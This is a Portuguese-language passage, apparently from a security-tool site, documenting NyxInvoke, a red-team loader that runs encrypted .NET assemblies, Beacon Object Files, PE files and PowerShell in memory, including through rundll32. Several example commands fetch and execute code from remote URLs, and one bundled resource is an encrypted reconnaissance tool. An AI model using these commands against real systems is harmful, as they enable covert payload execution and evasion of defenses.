Para incluir dados CLR, BOF ou PE embutidos na compilação, adicione os respectivos recursos:

ou

Uso

Modo Executável

O executável suporta três modos principais de operação:

1. Modo CLR (execução de assemblies .NET)
2. Modo PowerShell
3. Modo BOF (execução de Beacon Object Files)
4. Modo PE (execução de arquivos PE)

Sintaxe Geral

Onde <mode> é um destes: clr, ps, bof ou pe.

Modo DLL

Quando compilado como DLL, o NyxInvoke pode ser executado usando rundll32. A sintaxe é:

Opções Específicas de Modo

1. Modo CLR:

2. Modo BOF:

3. Modo PE:

4. Modo PowerShell:

Exemplos

Modo Executável

1. Modo CLR (Execução Remota):

   root@kitploit:~

   NyxInvoke.exe clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
   

2. Modo PowerShell (Execução de Script):

   root@kitploit:~

   NyxInvoke.exe ps --script C:\path\to\script.ps1
   

3. Modo BOF (Execução Local):

   root@kitploit:~

   NyxInvoke.exe bof --key C:\path\to\bof_aes.key --iv C:\path\to\bof_aes.iv --bof C:\path\to\bof_data.enc --args "str=argument1" "int=42"
   

4. Modo PE (Execução Compilada):

   root@kitploit:~

   NyxInvoke.exe pe --args arg1
   

Modo DLL

1. Modo CLR (Execução Remota):

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
   

2. Modo PowerShell (Execução de Comando Direto):

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke ps --command "Get-Process | Select-Object Name, ID"
   

3. Modo BOF (Execução Compilada):

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke bof --args "str=argument1" "int=42"
   

4. Modo PE (Execução Local Sem Criptografia):

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke pe -u --pe C:\path\to\pe.exe --args arg1 arg2
   

Recursos de Teste

No diretório resources, você encontrará vários arquivos para testar a funcionalidade do NyxInvoke:

1. Assembly CLR Criptografado (Seatbelt):

   • Arquivo: clr_data.enc
   • Descrição: Uma versão criptografada da ferramenta Seatbelt, um projeto C# para coleta de informações do sistema.
   • Exemplo de uso:
     root@kitploit:~

     NyxInvoke.exe clr --key resources/clr_aes.key --iv resources/clr_aes.iv --assembly resources/clr_data.enc --args AntiVirus
     

2. BOF Criptografado (Listagem de Diretório):

   • Arquivo: bof_data.enc
   • Descrição: Um Beacon Object File criptografado que lista as permissões do usuário para o arquivo especificado, com suporte a curingas.
   • Exemplo de uso:
     root@kitploit:~

     NyxInvoke.exe bof --key resources/bof_aes.key --iv resources/bof_aes.iv --bof resources/bof_data.enc --args "wstr=C:\Windows\system32\cmd.exe"
     

3. PE Criptografado (Message Box):

   • Arquivo: pe_data.enc
   • Descrição: Um arquivo PE criptografado que exibe uma caixa de mensagem.
   • Exemplo de uso:
     root@kitploit:~

     NyxInvoke.exe pe
     

4. PowerShell (Message Box):

   • Arquivo: ps.ps1
   • Descrição: Um script PowerShell que exibe uma caixa de mensagem.
   • Exemplo de uso:
     root@kitploit:~

     NyxInvoke.exe ps -s http://example.com/ps.ps1
     

Captura de Tela

• Execução de CLR via DLL compilada

• Execução remota de BOF via EXE

• Execução de EXE via DLL compilada

• Execução de script PowerShell via DLL

Aviso Legal

Esta ferramenta é apenas para fins educacionais e de testes autorizados. Certifique-se de ter as permissões adequadas antes de usá-la em qualquer ambiente.

Créditos

• @yamakadi pelo projeto clroxide
• @hakaioffsec pelo projeto coffee